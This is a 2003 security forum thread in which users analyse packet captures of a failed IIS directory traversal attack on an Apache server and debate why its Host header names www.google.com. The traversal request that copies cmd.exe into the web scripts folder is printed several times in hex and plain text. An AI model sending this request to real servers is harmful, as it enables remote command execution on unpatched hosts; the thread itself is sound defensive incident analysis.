hex dump directory traversal attack w/ questions & solut

Networking/Security Forums -> Exploits // System Weaknesses

Author: Sgt_BLocation: Chicago, IL US PostPosted: Sun Jul 13, 2003 7:35 am    Post subject: hex dump directory traversal attack w/ questions & solut
    ----
I'm wondering what the www.google.com in the first packet is doing. Its not part of the ip header. So what is its purpose? Its just a simple directory traversal attack, and not that important, but I was still curious about the www.google.com in the attack.

Code:

00000000  47 45 54 20 2f 73 63 72  69 70 74 73 2f 2e 2e 25 GET /scr ipts/..%
00000010  32 35 35 63 2e 2e 25 32  35 35 63 77 69 6e 6e 74 255c..%2 55cwinnt
00000020  2f 73 79 73 74 65 6d 33  32 2f 63 6d 64 2e 65 78 /system3 2/cmd.ex
00000030  65 3f 2f 63 2b 63 6f 70  79 2b 63 3a 5c 77 69 6e e?/c+cop y+c:\win
00000040  6e 74 5c 73 79 73 74 65  6d 33 32 5c 63 6d 64 2e nt\syste m32\cmd.
00000050  65 78 65 2b 63 3a 5c 69  6e 65 74 70 75 62 5c 73 exe+c:\i netpub\s
00000060  63 72 69 70 74 73 5c 73  63 72 69 70 74 2e 65 78 cripts\s cript.ex
00000070  65 20 48 54 54 50 2f 31  2e 31 0d 0a             e HTTP/1 .1..
0000007C  48 6f 73 74 3a 20 77 77  77 2e 67 6f 6f 67 6c 65 Host: ww w.google
0000008C  2e 63 6f 6d 0d 0a 43 6f  6e 6e 65 63 74 69 6f 6e .com..Co nnection
0000009C  3a 20 6b 65 65 70 2d 61  6c 69 76 65 0d 0a 0d 0a : keep-a live....

00000000  48 54 54 50 2f 31 2e 31  20 34 30 34 20 4e 6f 74 HTTP/1.1  404 Not
00000010  20 46 6f 75 6e 64 0d 0a  44 61 74 65 3a 20 53 75  Found.. Date: Su
00000020  6e 2c 20 31 33 20 4a 75  6c 20 32 30 30 33 20 30 n, 13 Ju l 2003 0
00000030  35 3a 30 37 3a 30 30 20  47 4d 54 0d 0a 53 65 72 5:07:00  GMT..Ser
00000040  76 65 72 3a 20 41 70 61  63 68 65 2f 31 2e 33 2e ver: Apa che/1.3.
00000050  32 37 20 28 55 6e 69 78  29 0d 0a 4b 65 65 70 2d 27 (Unix )..Keep-
00000060  41 6c 69 76 65 3a 20 74  69 6d 65 6f 75 74 3d 31 Alive: t imeout=1
00000070  35 2c 20 6d 61 78 3d 31  30 30 0d 0a 43 6f 6e 6e 5, max=1 00..Conn
00000080  65 63 74 69 6f 6e 3a 20  4b 65 65 70 2d 41 6c 69 ection:  Keep-Ali
00000090  76 65 0d 0a 54 72 61 6e  73 66 65 72 2d 45 6e 63 ve..Tran sfer-Enc
000000A0  6f 64 69 6e 67 3a 20 63  68 75 6e 6b 65 64 0d 0a oding: c hunked..
000000B0  43 6f 6e 74 65 6e 74 2d  54 79 70 65 3a 20 74 65 Content- Type: te
000000C0  78 74 2f 68 74 6d 6c 3b  20 63 68 61 72 73 65 74 xt/html;  charset
000000D0  3d 69 73 6f 2d 38 38 35  39 2d 31 0d 0a 0d 0a 31 =iso-885 9-1....1
000000E0  33 37 0d 0a 3c 21 44 4f  43 54 59 50 45 20 48 54 37..<!DO CTYPE HT
000000F0  4d 4c 20 50 55 42 4c 49  43 20 22 2d 2f 2f 49 45 ML PUBLI C "-//IE
00000100  54 46 2f 2f 44 54 44 20  48 54 4d 4c 20 32 2e 30 TF//DTD  HTML 2.0
00000110  2f 2f 45 4e 22 3e 0a 3c  48 54 4d 4c 3e 3c 48 45 //EN">.< HTML><HE
00000120  41 44 3e 0a 3c 54 49 54  4c 45 3e 34 30 34 20 4e AD>.<TIT LE>404 N
00000130  6f 74 20 46 6f 75 6e 64  3c 2f 54 49 54 4c 45 3e ot Found </TITLE>
00000140  0a 3c 2f 48 45 41 44 3e  3c 42 4f 44 59 3e 0a 3c .</HEAD> <BODY>.<
00000150  48 31 3e 4e 6f 74 20 46  6f 75 6e 64 3c 2f 48 31 H1>Not F ound</H1
00000160  3e 0a 54 68 65 20 72 65  71 75 65 73 74 65 64 20 >.The re quested
00000170  55 52 4c 20 2f 73 63 72  69 70 74 73 2f 2e 2e 25 URL /scr ipts/..%
00000180  35 63 2e 2e 25 35 63 77  69 6e 6e 74 2f 73 79 73 5c..%5cw innt/sys
00000190  74 65 6d 33 32 2f 63 6d  64 2e 65 78 65 20 77 61 tem32/cm d.exe wa
000001A0  73 20 6e 6f 74 20 66 6f  75 6e 64 20 6f 6e 20 74 s not fo und on t
000001B0  68 69 73 20 73 65 72 76  65 72 2e 3c 50 3e 0a 3c his serv er.<P>.<
000001C0  48 52 3e 0a 3c 41 44 44  52 45 53 53 3e 41 70 61 HR>.<ADD RESS>Apa
000001D0  63 68 65 2f 31 2e 33 2e  32 37 20 53 65 72 76 65 che/1.3. 27 Serve
000001E0  72 20 61 74 20 64 69 6d  65 6e 73 69 6f 6e 2e 6c r at dim ension.l
000001F0  61 6e 6e 65 74 2e 63 6f  6d 20 50 6f 72 74 20 38 annet.co m Port 8
00000200  30 3c 2f 41 44 44 52 45  53 53 3e 0a 3c 2f 42 4f 0</ADDRE SS>.</BO
00000210  44 59 3e 3c 2f 48 54 4d  4c 3e 0a 0d 0a 30 0d 0a DY></HTM L>...0..
00000220  0d 0a                                            ..

Author: NeoN PostPosted: Sun Jul 13, 2003 10:37 am    Post subject:
    ----
are you saying this attack wasnt performed on google.com ?

The host header is just used to define the host name in the HTTP prot. I've seen errors when this is improperly used. (eg: connect to an ip and pass a random host).

Author: Sgt_BLocation: Chicago, IL US PostPosted: Sun Jul 13, 2003 6:33 pm    Post subject:
    ----
No this attack was performed on me.

Author: sim0n PostPosted: Sun Jul 13, 2003 7:09 pm    Post subject: ...
    ----
Razz

Author: alt.don PostPosted: Sun Jul 13, 2003 8:17 pm    Post subject:
    ----
Hey dude, please post the complete header that came with this packet so that we may try and figure out what is going on here. If you can as well do so with the -vv on ie: IP ID numbers, and so on.

Author: MattALocation: Eastbourne + London PostPosted: Sun Jul 13, 2003 10:25 pm    Post subject:
    ----
ermm maybe the attack came via google, someone doing an advanced search of your site doing a spot of URL crafting,
just a thought as you can do the old search for "/private/services.pwd" search via google on sites, possible this was doing URL crafting, i'm also hazarding a guess it was a script as it's looking for cmd.exe and looks like you're running apache 1.3 on Unix so maybe a script fed to google's mighty searchbots as a form of spoof?

Author: Sgt_BLocation: Chicago, IL US PostPosted: Mon Jul 14, 2003 4:59 am    Post subject:
    ----
http://12.208.102.165/attack3.dump

Theres the tcpdump of the attack. Was captured with -vv.
I hope that'll be enough info Smile
The attacker is the 12.208.135.32, the host is of course 192.168.3.10.

Let me know what you think!
Thanks

Author: alt.don PostPosted: Mon Jul 14, 2003 5:54 pm    Post subject:
    ----
Here is my quick and dirty on the file. This is mostly for the benefit of others who may not know or understand what is going on here.

Code:
01:07:00.704346 [b]12.208.135.32.267[/b]1 > [b]192.168.3.10.80[/b]: [b]S[/b] [tcp sum ok] 772814901:772814901(0) win 64240 <mss 1460,nop,nop,sackOK> (DF) (ttl 116, id 9933, len 48)
0x0000   4500 0030 26cd 4000 7406 8858 0cd0 8720        E..0&.@.t..X....
0x0010   c0a8 030a 0a6f 0050 2e10 3835 0000 0000        .....o.P..85....
0x0020   7002 faf0 bf87 0000 0204 05b4 0101 0402        p...............


The ip addy listed above of 12.208.135.32 is sending a syn packet to open communications with 192.168.3.10 on port 80 which is used for HTTP ie: to retrieve a web page off of a web server such as IIS or Apache. The source ip addy of 12.208.135.32 is using an ephemeral port
which is normal. When your computer sends out any type of communication it will almost always use an ephemeral port ie: any port above 1024.

The tcp sum ok is just that okay. This means that the factors used in building the tcp checsum are fine and not corrupted ie: src and dst ip addresses, followed by the tcp sequence number of 772814901. This is what is known as the ISN (initial sequence number) The 0 after the ISN indicates that there is no data in this packet.
The win 64240 is the amount of information the sending computer can recieve before requiring an acknoledgement. This value is measured in bytes.

mss 1460 is the maximum segment size that the sending ip address can send at one time. Note that it fits within the maximum transmission unit of 1540 for ethernet.

This is followed by nop,nop This nop is mainly used as a padding character to fill out a nibble or to fill out to a byte. ie: simply put it is used to format things better.

sackOK Means selective acknowledgement enabled. This tcp/ip stack can send acknowledgements back to the sender signifying receipt of information. This is often seen in Windows stacks.

(DF) Tell the router not to fragment this packet, if the router must fragment the packet then it will kick back an error message to the originator via an icmp message.

ttl 116 This is the amount of hops that this packet has before it times out. In essence it will be decremented by 1 by each router or host it traverses on it's way to it's destination. This is done so that we don't have packets banging around forever and ever chewing up b/w for nothing.

id 9933 This is the number assigned to the IP header, and is used for fragmentation purposes. This will tell the recieving computer what fragments belong to what packet. There is also other information contained with a fragmented packet which will indicate how to reassemble it properly.

len 48 This equates to the total length of the packet itself including tcp and ip header as well as any possible data being sent.

Anyhow as noted above in the packet, the sending computer has sent a syn packet to initiate communications with the destination computer. This packet also includes informatioin such as the ISN, and win size, amongst others as explained above.

Code:
01:07:00.704415 192.168.3.10.80 > 12.208.135.32.2671: S [tcp sum ok] [b]1600143914:1600143914[/b](0) ack [b]772814902[/b] win 65535 <mss 1460> (DF) (ttl 64, id 49496, len 44)
0x0000   4500 002c c158 4000 4006 21d1 c0a8 030a        E..,.X@.@.!.....
0x0010   0cd0 8720 0050 0a6f 5f60 422a 2e10 3836        .....P.o_`B*..86
0x0020   6012 ffff 2de4 0000 0204 05b4                  `...-.......


Now in this packet the destination address of 192.168.3.10 responds back to the orginator with a syn/ack. Of note here is the ack number of 772814902 This value is 1 higher then the initial sequence number sent by the orginator which is the very first packet noted above. This is as it should be. The ISN + 1 = your acknowledgement number. The destination computer also sends his own tcp sequence number above as well 1600143914 The rest of the values are normal. So far nothing unusual has been noted. Just the setup of comms between two computers.

Code:
01:07:00.898625 12.208.135.32.2671 > 192.168.3.10.80: . [tcp sum ok] [b]ack[/b] 1 win 64240 (DF) (ttl 116, id 9959, len 40)
0x0000   4500 0028 26e7 4000 7406 8846 0cd0 8720        E..(&.@.t..F....
0x0010   c0a8 030a 0a6f 0050 2e10 3836 5f60 422b           .....o.P..86_`B+
0x0020   5010 faf0 4ab0 0000 7e7e 7e7e 7e7e                     P...J...~~~~~~


Now we see the final step in the 3 way tcp/ip handshake the ack. What will follow next is the actual exchange of data between the two computers. Everything else here is normal.

Code:
01:07:00.903764 12.208.135.32.2671 > 192.168.3.10.80: P [tcp sum ok] 1:125(124) ack 1 win 64240 (DF) (ttl 116, id 9960, len 164)
0x0000   4500 00a4 26e8 4000 7406 87c9 0cd0 8720             E...&.@.t.......
0x0010   c0a8 030a 0a6f 0050 2e10 3836 5f60 422b             .....o.P..86_`B+
0x0020   5018 faf0 ea38 0000 4745 5420 2f73 6372             P....8..GET./scr
0x0030   6970 7473 2f2e 2e25 3235 3563 2e2e 2532             ipts/..%255c..%2
0x0040   3535 6377 696e 6e74 2f73 7973 7465 6d33             55cwinnt/system3
0x0050   322f 636d 642e 6578 653f 2f63 2b63 6f70             2/cmd.exe?/c+cop
0x0060   792b 633a 5c77 696e 6e74 5c73 7973 7465             y+c:\winnt\syste
0x0070   6d33 325c 636d 642e 6578 652b 633a 5c69              m32\cmd.exe+c:\i
0x0080   6e65 7470 7562 5c73 6372 6970 7473 5c73             netpub\scripts\s
0x0090   6372 6970 742e 6578 6520 4854 5450 2f31              cript.exe.HTTP/1
0x00a0   2e31 0d0a                                                                    .1..


In this packet we see the originator sending what is probably a scripted attack to the destination computer of 192.168.3.10 This attempt to copy some of the contents of the C drive is a very common exploit which is used against HTTP servers. It still works though as some admins have not patched properly or have brought up HTTP servers with default settings. The rest of the packet itself is unremarkable.

Code:
01:07:01.000437 192.168.3.10.80 > 12.208.135.32.2671: . [tcp sum ok] ack 125 win 65535 (DF) (ttl 64, id 49497, len 40)
0x0000   4500 0028 c159 4000 4006 21d4 c0a8 030a        E..(.Y@.@.!.....
0x0010   0cd0 8720 0050 0a6f 5f60 422b 2e10 38b2        .....P.o_`B+..8.
0x0020   5010 ffff 4525 0000                            P...E%..


Here the destination of the attack 192.168.3.10 acknowledges receipt of the packet sent above. The length of the packet above is 125 hence the ack in this packet of 125 acknowledging receipt of the entire packet to the sender. Beyond that nothing remarkable with this packet.

Code:
01:07:01.068365 12.208.135.32.2671 > 192.168.3.10.80: P [tcp sum ok] 125:173(48) ack 1 win 64240 (DF) (ttl 116, id 9970, len 88)
0x0000   4500 0058 26f2 4000 7406 880b 0cd0 8720        E..X&.@.t.......
0x0010   c0a8 030a 0a6f 0050 2e10 38b2 5f60 422b        .....o.P..8._`B+
0x0020   5018 faf0 46e8 0000 486f 7374 3a20 7777        P...F...Host:.ww
0x0030   772e 676f 6f67 6c65 2e63 6f6d 0d0a 436f        w.google.com..Co
0x0040   6e6e 6563 7469 6f6e 3a20 6b65 6570 2d61        nnection:.keep-a
0x0050   6c69 7665 0d0a 0d0a                            live....


This packet here I am not really understanding. It looks like a keep alive which is what it indicates as well. Why is it going to the target machine of 192.168.3.10 though is really not understood by me. We google being used as a proxy then the google ip would be showing up and not the one noted above of 12.208.135.32 Most curious if anyone can shed light on this then please post here. Also it is to be noted that for this attack to work the 3 way handshake must be complete which it is. So the contents of this packet are a mystery to me.

Code:
01:07:01.069334 192.168.3.10.80 > 12.208.135.32.2671: P [tcp sum ok] 1:547(546) ack 173 win 65535 (DF) (ttl 64, id 49498, len 586)
0x0000   4500 024a c15a 4000 4006 1fb1 c0a8 030a        E..J.Z@.@.......
0x0010   0cd0 8720 0050 0a6f 5f60 422b 2e10 38e2        .....P.o_`B+..8.
0x0020   5018 ffff 315f 0000 4854 5450 2f31 2e31        P...1_..HTTP/1.1
0x0030   2034 3034 204e 6f74 2046 6f75 6e64 0d0a        .404.Not.Found..
0x0040   4461 7465 3a20 5375 6e2c 2031 3320 4a75        Date:.Sun,.13.Ju
0x0050   6c20 3230 3033 2030 353a 3037 3a30 3020        l.2003.05:07:00.
0x0060   474d 540d 0a53 6572 7665 723a 2041 7061        GMT..Server:.Apa
0x0070   6368 652f 312e 332e 3237 2028 556e 6978        che/1.3.27.(Unix
0x0080   290d 0a4b 6565 702d 416c 6976 653a 2074        )..Keep-Alive:.t
0x0090   696d 656f 7574 3d31 352c 206d 6178 3d31        imeout=15,.max=1
0x00a0   3030 0d0a 436f 6e6e 6563 7469 6f6e 3a20        00..Connection:.
0x00b0   4b65 6570 2d41 6c69 7665 0d0a 5472 616e        Keep-Alive..Tran
0x00c0   7366 6572 2d45 6e63 6f64 696e 673a 2063        sfer-Encoding:.c
0x00d0   6875 6e6b 6564 0d0a 436f 6e74 656e 742d        hunked..Content-
0x00e0   5479 7065 3a20 7465 7874 2f68 746d 6c3b        Type:.text/html;
0x00f0   2063 6861 7273 6574 3d69 736f 2d38 3835        .charset=iso-885
0x0100   392d 310d 0a0d 0a31 3337 0d0a 3c21 444f        9-1....137..<!DO
0x0110   4354 5950 4520 4854 4d4c 2050 5542 4c49        CTYPE.HTML.PUBLI
0x0120   4320 222d 2f2f 4945 5446 2f2f 4454 4420        C."-//IETF//DTD.
0x0130   4854 4d4c 2032 2e30 2f2f 454e 223e 0a3c        HTML.2.0//EN">.<
0x0140   4854 4d4c 3e3c 4845 4144 3e0a 3c54 4954        HTML><HEAD>.<TIT
0x0150   4c45 3e34 3034 204e 6f74 2046 6f75 6e64        LE>404.Not.Found
0x0160   3c2f 5449 544c 453e 0a3c 2f48 4541 443e        </TITLE>.</HEAD>
0x0170   3c42 4f44 593e 0a3c 4831 3e4e 6f74 2046        <BODY>.<H1>Not.F
0x0180   6f75 6e64 3c2f 4831 3e0a 5468 6520 7265        ound</H1>[b].The.re
0x0190   7175 6573 7465 6420 5552 4c20 2f73 6372        quested.URL./scr
0x01a0   6970 7473 2f2e 2e25 3563 2e2e 2535 6377        ipts/..%5c..%5cw
0x01b0   696e 6e74 2f73 7973 7465 6d33 322f 636d        innt/system32/cm
0x01c0   642e 6578 6520 7761 7320 6e6f 7420 666f        d.exe.was.not.fo
0x01d0   756e 6420 6f6e 2074 6869 7320 7365 7276        und.on.this.serv[/b]
0x01e0   6572 2e3c 503e 0a3c 4852 3e0a 3c41 4444        er.<P>.<HR>.<ADD
0x01f0   5245 5353 3e41 7061 6368 652f 312e 332e        RESS>Apache/1.3.
0x0200   3237 2053 6572 7665 7220 6174 2064 696d        27.Server.at.dim
0x0210   656e 7369 6f6e 2e6c 616e 6e65 742e 636f        ension.lannet.co
0x0220   6d20 506f 7274 2038 303c 2f41 4444 5245        m.Port.80</ADDRE
0x0230   5353 3e0a 3c2f 424f 4459 3e3c 2f48 544d        SS>.</BODY></HTM
0x0240   4c3e 0a0d 0a30 0d0a 0d0a                       L>...0....


As can be seen in this packet the destination addy of 192.168.3.10 sends back a response saying that the url cannot be found on this machine. So in essence the exploit did not work as this machine was properly patched for this vulnerability. Good! What follows from here on in is the gracefull tear down of the connection by both machines.

So to sum up if anyone can come up with an answer as to why an apparent keep-alive signal to google is showing up in that packet the please post it here. I would hazard a guess that the attacker is on a dial up connection using a Windows box due to the tcp/ip metrics involved which are noted above. As well noted below is what the attacker's IP range resolves to.
I hope this was of some help and or interest to some of you. Should there be something here that is not clear please pm me or post it to this thread for futher clarification.

IP address: 12.208.135.32
Host name: 12-208-135-32.client.attbi.com

TraceRoute to 12.208.135.32 [12-208-135-32.client.attbi.com


Last edited by alt.don on Tue Jul 15, 2003 2:37 am; edited 1 time in total

Author: Sgt_BLocation: Chicago, IL US PostPosted: Mon Jul 14, 2003 6:22 pm    Post subject:
    ----
Great explanation!. I'm sure alot of people would benefit from that. I'd be horrible to see such a great post fall into the depths of the forum! <cough...sticky..cough> Smile

Hopefully someone can shed some light on the google thing. Has me totally stumped.

To clarify, the attacking client is on broadband via Comacat (formerly AT&T)

Author: alt.don PostPosted: Mon Jul 14, 2003 6:37 pm    Post subject:
    ----
I would advise you post the file to intrusions.org for everyone to have a look at sgt_b They are some very sharp people there who may have also seen this or know what it is.

Author: Sgt_BLocation: Chicago, IL US PostPosted: Mon Jul 14, 2003 7:14 pm    Post subject:
    ----
I didn't know they had forums/mailing lists. Thanks don, I'll check it out.

Author: alt.don PostPosted: Mon Jul 14, 2003 7:43 pm    Post subject:
    ----
You will have to join the mailing list before you can send stuff to it as it were. Though it is a good source of information as well. Just can add up to some white noise at times.

Author: squidlyLocation: Umm.. I dont know.. somewhere PostPosted: Mon Jul 14, 2003 9:21 pm    Post subject:
    ----
I think I can shed some light on the Host: www.google.com Section. It looks like they are trying to use 192.168.3.10 as a proxy to www.google.com Like the older FTP bouce attacks. Ive used that at times as well.

Author: alt.don PostPosted: Mon Jul 14, 2003 9:28 pm    Post subject:
    ----
A very reasonable explanation actually. Heh, this should of occurred to me as well actually Embarassed I would like to confirm this in my lab but I am too busy right now to do so. If anyone can then please do so, if you have the appropriate s/w and h/w to do so. It would be appreciated. I just don't have the time as mentioned to reconfigure some things. Well done dude.

Author: Sgt_BLocation: Chicago, IL US PostPosted: Mon Jul 14, 2003 9:44 pm    Post subject:
    ----
Here's a response from the incidents.org mailing list:
-----
Fortunately, the www.google.com string is run of the mill too. Rather
than a keepalive to their host, this is simply a continuation of the
original directory traversal request.

First request:
GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/C+copy+c:\winnt\system32\
\cmd.exe+c:\inetpub\scripts\script.exe

Continuation:
Host: www.google.com
Connection: keep-alive

The google reference is a complete throwaway unless you happen to be
running a virtual host called www.google.com on your system. These host
names are often just arbitrary signatures that attackers and tools use.
-----

Opinions?

Author: alt.don PostPosted: Mon Jul 14, 2003 9:51 pm    Post subject:
    ----
Hmmmmm, don't know that this person is completely correct with his/her assessment to be honest. They are not taking into account several factors as such; the dst port is 80, as mentioned this could be a proxy attempt, though this is the wrong port really for it. I will be curious to see if there any other responses to this. Please post if there is.

Author: Sgt_BLocation: Chicago, IL US PostPosted: Mon Jul 14, 2003 11:26 pm    Post subject:
    ----
Two more responses from incidents.org.
Both of these say pretty much the same thing. Its regarding IIS and virtual hosts. The first post makes sense since this attack is directed at an IIS server. The more I look at it the more I like it Smile
Second one just enforces the theory of the first.

1)
---
Okay. I'm going to make a guess here.

The GET string, excerpted below, indicates that it is using HTTP/1.1:
GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\script.exe HTTP/1.1

(Pretty nice URL by the way.)

In order to make a valid HTTP/1.1 request, you have to specify a host
name
(I think the proper terminology is 'host header') for the request. I'm
guessing that whoever devised this tool decided to just throw in
'www.google.com' as a host header. Under IIS, if you specify a host
name
that is not configured, it falls back on the first virtual host that is
configured for the IP. So by specifying 'www.google.com', they pretty
much guarantee that they will fall to the first host -- and on a
default
IIS install, this will be the default web site which lives under
c:\inetpub\wwwroot

So this is my armchair one minute guess-analysis. Hope it helps
somewhat.
---

2)
---
A web server might be host to multiple sites, and the Host: header
on the request allows the client to specify which one he wants. I
expect single-site servers just ignore it, and in any case it's not
relevant to the request since directory traversal attempts to break
out of the site to the host machine.
---

Author: SpyguyLocation: Ottawa, ON PostPosted: Tue Jul 15, 2003 3:12 pm    Post subject:
    ----
Well, I'll wade in here… Smile

I also agree that the host field being set to "www.google.com" is just filler to make the HTTP GET request valid and that the requested URL (GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\script.exe HTTP/1.1) is definitely a known IIS-specific Directory Transversal attack.

This request is attempting to use a Unicode vulnerability to copy the Windows NT command processor (cmd.exe) to the path c:\inetpub\scripts directory as filename scripts.exe. This will mean that the file will be publicly accessible via http://<hostname or IP>/scripts/scripts.exe and its presence there will allow the execution of arbitrary system commands and permit directory transversals, thus giving the attacker “free reign over the machine.”

Based on the response I saw in the traffic capture, the server denied the request because the requested file was not found (HTTP/1.1 404 Not Found). This makes sense because the system appears to be running Apache web server (Server: Apache/1.3.27 (Unix)), and it would not have the directory path the URL was looking for, even if it was Apache on Windows.

This type of scan/attack in not uncommon these days, unfortunately… Sad

Footnotes:

1 http://honeynet.overt.org/index.php/Forensics has a nice analysis of a successful attack on a Honeypot that explains this behaviour
2 http://honeynet.overt.org/index.php/Forensics - quote



Networking/Security Forums -> Exploits // System Weaknesses


output generated using printer-friendly topic mod, All times are GMT + 2 Hours

Page 1 of 1

Powered by phpBB 2.0.x © 2001 phpBB Group